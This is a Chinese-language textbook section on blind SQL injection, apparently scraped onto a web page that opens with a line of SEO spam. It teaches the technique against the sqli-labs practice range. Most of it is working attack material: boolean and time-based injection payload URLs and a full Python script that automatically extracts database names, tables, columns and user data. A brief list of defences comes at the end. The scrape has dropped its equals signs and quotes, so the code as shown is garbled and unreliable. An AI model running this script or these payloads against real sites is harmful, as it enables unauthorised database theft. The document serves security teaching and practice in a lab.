使用word做网站,网站推广找哪家公司好,注册公司网站流程,厦门网站开发网站建设网站在进行SQL注入攻击时#xff0c;若确定有注入点但因页面没有回显位来显示数据#xff0c; 导致无法获取有效信息时#xff0c;就要进行SQL盲注。 5.3.1 简介 目前常用的SQL盲注主要分以下两类#xff1a; 基于布尔的盲注#xff1a;当页面没有回显位、不会输出SQL语句报… 在进行SQL注入攻击时若确定有注入点但因页面没有回显位来显示数据 导致无法获取有效信息时就要进行SQL盲注。 5.3.1 简介 目前常用的SQL盲注主要分以下两类 ·基于布尔的盲注当页面没有回显位、不会输出SQL语句报错信息时通过 返回页面响应的正常或不正常的情况来进行注入。 ·基于时间的盲注当页面没有回显位、不会输出SQL语句报错信息、不论 SQL语句的执行结果对错都返回一样的页面时通过页面的响应时间来进行注 入。 上述两种盲注方式都存在的缺点就是需要耗费大量的精力去进行测试因此 在渗透测中常使用工具或脚本来代替手工操作完成烦琐的注入过程。 sqli-labs是由一位印度程序员编写的SQL注入练习靶场包含多种类型的注入 方式接下来将会在sqli-labs环境下具体讲解SQL盲注脚本的编写过程。 5.3.2 基于布尔型SQL盲注检测 本节以sqli-labs靶场的第八关为例。该关的SQL查询语句为SELECT*FROM users WHERE id$idLIMIT 0 1。 如果盲注的结果正确则会显示“You are in...........” 如图5-5所示。 如果盲注的结果错误则不会显示“You are in...........” 如图5-6所示。 那么我们只需要提前构造相应的注入语句然后根据页面是否回显“You are in...........”来进行判断即可让脚本进行自动化操作。笔者已经构造好所需的 Payload 代码如下所示 http://127 .0 .0 .1/sql/Less-8/?id1 and if(length(database())8,1,0) %23 # 获取数据库名 http://127 .0 .0 .1/Less-8/?id1 and if(ascii(subst r(database(),1,1))115, 1,0) %23 # 获取数据库表的数量 http://127 .0 .0 .1/sql/Less-8/?id1 and if((select count(*)table_name from information_schema .tables where table_schema security )4,1,0) %23 # 获取数据库表名称的长度 http://127 .0 .0 .1/Less-8/?id1 and if((select LENGTH(table_name) from information_schema .tables where table_schema security limit 1,1) 8,1,0) %23 # 获取数据库表名 http://127 .0 .0 .1/Less-8/?id1 and if(ascii(subst r((select table_name from information_schema .tables where table_schema security limit 0,1), 1,1))101,1,0) %23 # 获取表的字段数量 http://127 .0 .0 .1/Less-8/?id1 and if((select count(column_name) from information_schema .columns where table_schema security and table_name users )3,1,0) %23 # 获取字段的长度 http://127 .0 .0 .1/Less-8/?id1 and if((select length(column_name) from information_schema .columns where table_schema security and table_name users limit 0,1)2,1,0) %23 # 获取表的字段 http://127 .0 .0 .1/Less-8/?id1 and if(ascii(subst r((select column_name from information_schema .columns where table_schema security and table _name users limit 0,1),1,1))105,1,0) %23 # 获取字段数据的数量 http://127 .0 .0 .1/Less-8/?id1 and if ((select count(username) from users)13,1,0) %23 # 获取字段数据的长度 http://127 .0 .0 .1/Less-8/?id1 and if ((select length(username) from users limit 0,1)4,1,0) %23 # 获取字段数据 http://127 .0 .0 .1/Less-8/?id1 and if (ascii(subst r((select username from users limit 0,1),1,1))68,1,0) %23 图5-6 布尔注入结果错误 1写入脚本信息导入模块定义存储数据库数据的变量且定义一个request 对象用来进行请求代码如下 #!/usr/bin/python3 # -*- coding: utf-8 -*- import requests import optparse # 存放数据库名的变量 DBName # 存放数据库表的变量 DBTables [] # 存放数据库字段的变量 DBColumns [] # 存放数据字典的变量键为字段名值为字段数据列表 DBData {} # 若页面返回真则会出现“You are in . . . . . . . . . . .” flag You are in . . . . . . . . . . . # 设置重连次数以及将连接改为短连接 # 防止因为HTTP连接数过多导致的 Max retries exceeded with url问题 requests .adapters .DEFAULT_RETRIES 5 conn requests .session() conn .keep_alive False 2编写主函数用来调用各个函数进行自动化注入代码如下 # 盲注主函数 def StartSqli(url) : GetDBName(url) print([]当前数据库名 :{0} .format(DBName)) GetDBTables(url,DBName) print([]数据库{0}的表如下 : .format(DBName)) for item in range(len(DBTables)) : print(( str(item 1) ) DBTables[item]) tableIndex in t(input([*]请输入要查看的表的序号 :)) - 1 GetDBColumns(url,DBName,DBTables[tableIndex]) while True: print([]数据表{0}的字段如下 : .format(DBTables[tableIndex])) for item in range(len(DBColumns)) : print(( str(item 1) ) DBColumns[item]) columnIndex in t(input([*]请输入要查看的字段的序号(输入0退出) :))-1 if(columnIndex -1) : break else: GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex]) 3编写获取数据库名的函数根据得到的URL获取数据库名并把最后的结 果存入DBName def GetDBName(url) : # 引用全局变量DBName用来存放网页当前使用的数据库名 global DBName print([-]开始获取数据库名的长度) # 保存数据库名长度的变量 DBNameLen 0 # 用于检查数据库名长度的payload payload and if(length(database()){0},1,0) %23 # 把URL和payload进行拼接得到最终请求的URL targetUrl url payload # 用for循环来遍历请求得到数据库名的长度 for DBNameLen in range(1, 99) : # 对payload中的参数进行赋值猜解 res conn .get(targetUrl.format(DBNameLen)) # 判断flag是否在返回的页面中 if flag in res .content.decode(utf-8) : print([]数据库名的长度 : str(DBNameLen)) break print([-]开始获取数据库名) payload and if(ascii(subst r(database(),{0},1)){1},1,0) %23 targetUrl url payload # a表示subst r()函数的截取起始位置 for a in range(1, DBNameLen1) : # b表示在ASCII码中33126位可显示的字符 for b in range(33, 127) : res conn .get(targetUrl.format(a,b)) if flag in res .content.decode(utf-8) : DBName chr(b) print([-] DBName) break 4编写获取数据库表的函数根据获取到的URL和数据库名获取数据库中 的表并把结果以列表的形式存入DBTables # 获取数据库表的函数 def GetDBTables(url, dbname) : global DBTables # 存放数据库表数量的变量 DBTableCount 0 print([-]开始获取{0}数据库表数量 : .format(dbname)) # 获取数据库表数量的payload payload and if((select count(*)table_name from information_schema . tables where table_schema {0} ){1},1,0) %23 targetUrl url payload # 开始遍历获取数据库表的数量 for DBTableCount in range(1, 99) : res conn .get(targetUrl.format(dbname, DBTableCount)) if flag in res .content.decode(utf-8) : print([]{0}数据库中表的数量为 :{1} .format(dbname, DBTableCount)) break print([-]开始获取{0}数据库的表 .format(dbname)) # 遍历表名时临时存放表名长度的变量 tableLen 0 # a表示当前正在获取表的索引 for a in range(0,DBTableCount) : print([-]正在获取第{0}个表名 .format(a1)) # 先获取当前表名的长度 for tableLen in range(1, 99) : payload and if((select LENGTH(table_name) from information_schema .tables where table_schema {0} limit {1},1){2},1,0) %23 targetUrl url payload res conn .get(targetUrl.format(dbname, a, tableLen)) if flag in res .content.decode(utf-8) : break # 开始获取表名 # 临时存放当前表名的变量 table # b表示当前表名猜解的位置 for b in range(1, tableLen1) : payload and if(ascii(subst r((select table_name from information_schema .tables where table_schema {0} limit {1},1),{2},1)){3},1,0) %23 targetUrl url payload # c表示在ASCII码中33126位可显示的字符 for c in range(33, 127) : res conn .get(targetUrl.format(dbname, a, b, c)) if flag in res .content.decode(utf-8) : table chr(c) print(table) break # 把获取到的表名加入DBTables DBTables .append(table) # 清空table用来继续获取下一个表名 table 5编写获取表字段的函数根据获取的URL 、数据库名和数据库表获取 表的字段并把结果以列表的形式存入DBColumns def GetDBColumns(url, dbname, dbtable) : global DBColumns # 存放字段数量的变量 DBColumnCount 0 print([-]开始获取{0}数据表的字段数 : .format(dbtable)) for DBColumnCount in range(99) : payload and if((select count(column_name) from information_ schema .columns where table_schema {0} and table_name {1} ) {2},1,0) %23 targetUrl url payload res conn .get(targetUrl.format(dbname, dbtable, DBColumnCount)) if flag in res .content.decode(utf-8) : print([-]{0}数据表的字段数为 :{1} .format(dbtable, DBColumnCount)) break # 开始获取字段的名称 # 保存字段名的临时变量 column # a表示当前获取字段的索引 for a in range(0, DBColumnCount) : print([-]正在获取第{0}个字段名 .format(a1)) # 先获取字段的长度 for columnLen in range(99) : payload and if((select length(column_name) from information_ schema .columns where table_schema {0} and table_name {1} limit {2},1){3},1,0) %23 targetUrl url payload res conn .get(targetUrl.format(dbname, dbtable, a, columnLen)) if flag in res .content.decode(utf-8) : break # b表示当前字段名猜解的位置 for b in range(1, columnLen1) : payload and if(ascii(subst r((select column_name from information_schema .columns where table_schema {0} and table_name {1} limit {2},1),{3},1)){4},1,0) %23 targetUrl url payload # c表示在ASCII码中33126位可显示的字符 for c in range(33, 127) : res conn .get(targetUrl.format(dbname, dbtable, a, b, c)) if flag in res .content.decode(utf-8) : column chr(c) print(column) break # 把获取到的字段名加入DBColumns DBColumns .append(column) # 清空column用来继续获取下一个字段名 column 6编写数据获取函数根据获取的URL 、数据表名和数据表字段来获取数 据。数据以字典的形式存放键为字段名值为字段数据形成的列表 # 获取表数据的函数 def GetDBData(url,dbtable,dbcolumn) : global DBData # 先获取字段的数据数量 DBDataCount 0 print([-]开始获取{0}表{1}字段的数据数量 .format(dbtable, dbcolumn)) for DBDataCount in range(99) : payload and if ((select count({0}) from {1}){2},1,0) %23 targetUrl url payload res conn .get(targetUrl.format(dbcolumn, dbtable, DBDataCount)) if flag in res .content.decode(utf-8) : print([-]{0}表{1}字段的数据数量为 :{2} .format(dbtable, dbcolumn, DBDataCount)) break for a in range(0, DBDataCount) : print([-]正在获取{0}的第{1}个数据 .format(dbcolumn, a1)) # 先获取这个数据的长度 dataLen 0 for dataLen in range(99) : payload and if ((select length({0}) from {1} limit {2},1) {3},1,0) %23 targetUrl url payload res conn .get(targetUrl.format(dbcolumn, dbtable, a, dataLen)) if flag in res .content.decode(utf-8) : print([-]第{0}个数据长度为 :{1} .format(a1, dataLen)) break # 临时存放数据内容变量 data # 开始获取数据的具体内容 # b表示当前数据内容猜解的位置 for b in range(1, dataLen1) : for c in range(33, 127) : payload and if (ascii(subst r((select {0} from {1} limit {2},1),{3},1)){4},1,0) %23 targetUrl url payload res conn .get(targetUrl.format(dbcolumn, dbtable, a, b, c)) if flag in res .content.decode(utf-8) : data chr(c) print(data) break # 放到以字段名为键值为列表的字典中 DBData .setdefault(dbcolumn,[]) .append(data) print(DBData) # 把data清空继续获取下一个数据 data 7编写主函数用来获取目标的URL并传递给StartSqli if __name__ __main__ : parser optparse .OptionParser( usage: python %prog -u url \n\n Example: python %prog -u http://192 .168 .61 .1/sql/Less-8/?id1\n ) # 目标URL参数-u parser .add_option( -u , --url , dest targetURL ,default http:// 127.0.0.1/sql/Less-8/?id1, type string ,help target URL ) (options, args) parser .parse_args() StartSqli(options .targetURL) 5.3.3 基于时间型SQL盲注检测 本节以sqli-labs靶场的第九关为例。该关的SQL查询语句为SELECT*FROM users WHERE id$idLIMIT 0 1。 这关不管语句正确还是错误页面始终显示“Your are in...........” 如图5-7所 示所以我们只能通过基于时间的盲注方法来获取数据根据页面的返回时间来 判断结果。 完成注入过程所需的Payload的代码如下 # 判断数据库名的长度 http://127 .0 .0 .1/sql/Less-9/?id1 and if(length(database())8,sleep(5), 0) %23 # 获取数据库名 http://127 .0 .0 .1/sql/Less-9/?id1 and if(ascii(subst r(database(),1,1)) 115,sleep(5),0)%23 # 获取数据库中表的数量 http://127 .0 .0 .1/sql/Less-9/?id1 and if((select count(table_name) from information_schema .tables where table_schema security )4,sleep(5),0) %23 # 获取数据库表的长度 http://127 .0 .0 .1/sql/Less-9/?id1 and if((select length(table_name) from information_schema .tables where table_schema security limit 0,1) 6,sleep(5),0) %23 # 获取数据库表 http://127 .0 .0 .1/sql/Less-9/?id1 and if(ascii(subst r((select table_ name from information_schema .tables where table_schema security limit 0,1),1,1))101,sleep(5),0)%23 # 获取数据库表中字段的数量 http://127 .0 .0 .1/sql/Less-9/?id1 and if((select count(column_name) from information_schema .columns where table_schema security and table_name users )3,sleep(5),0) %23 # 获取表字段的长度 http://127 .0 .0 .1/sql/Less-9/?id1 and if((select length(column_name) from information_schema .columns where table_schema security and table_name users limit 0,1)2,sleep(5),0) %23 # 获取数据库字段 http://127 .0 .0 .1/sql/Less-9/?id1 and if(ascii(subst r((select column_ name from information_schema .columns where table_schema security and table_name users limit 0,1),1,1))105,sleep(5),0) %23 # 获取字段数据的数量 http://127 .0 .0 .1/sql/Less-9/?id1 and if((select count(username) from users)13,sleep(5),0) %23 # 获取字段数据的长度 http://127 .0 .0 .1/sql/Less-9/?id1 and if((select length(username) from users limit 0,1)4,sleep(5),0) %23 # 获取数据内容 http://127 .0 .0 .1/sql/Less-9/?id1 and if(ascii(subst r((select username from users limit 0,1),1,1))68,sleep(5),0) %23 本节的代码与基于布尔的盲注脚本十分相似不同之处在于此处脚本需要用 到time模块判断结果的语句和所使用的Payload不相同。以下将列出部分代码 读者可当作练习自行完成编写若有疑问可参考源代码。 获取数据库名的函数代码如下 # 获取数据库名的函数 def GetDBName(url) : # 引用全局变量DBName用来存放网页当前使用的数据库名 global DBName print([-]开始获取数据库名的长度) # 保存数据库名长度的变量 DBNameLen 0 # 用于检查数据库名长度的payload payload and if(length(database()){0},sleep(5),0) %23 # 把URL和payload进行拼接得到最终的请求URL targetUrl url payload # 用for循环来遍历请求得到数据库名的长度 for DBNameLen in range(1, 99) : # 开始时间 timeStart time .time() # 开始访问 res conn .get(targetUrl.format(DBNameLen)) # 结束时间 timeEnd time .time() # 判断时间差 if timeEnd - timeStart 5: print([]数据库名的长度 : str(DBNameLen)) break print([-]开始获取数据库名) payload and if(ascii(subst r(database(),{0},1)){1},sleep(5),0)%23 targetUrl url payload # a表示subst r()函数的截取起始位置 for a in range(1, DBNameLen1) : # b表示在ASCII码中33126位可显示的字符 for b in range(33, 127) : timeStart time .time() res conn .get(targetUrl.format(a,b)) timeEnd time .time() if timeEnd - timeStart 5: DBName chr(b) print([-] DBName) break 下面测试一下效果。 获取数据库名如下所示 获取数据库表如下所示 获取字段数据如下所示 5.3.4 防御策略 SQL盲注属于SQL注入的一种方式。下面介绍的几种防御方法可以有效降低 SQL注入对网站的危害
1用参数化查询的方式代替动态SQL。
2避免显示数据库的错误信息。
3在服务器上安装Web应用程序防火墙Web Application Firewall WAF。
4限制数据库的权限。
5对于数据库中的敏感信息进行加密保存。
6根据需求升级数据库的版本避免旧版数据库中的已知漏洞。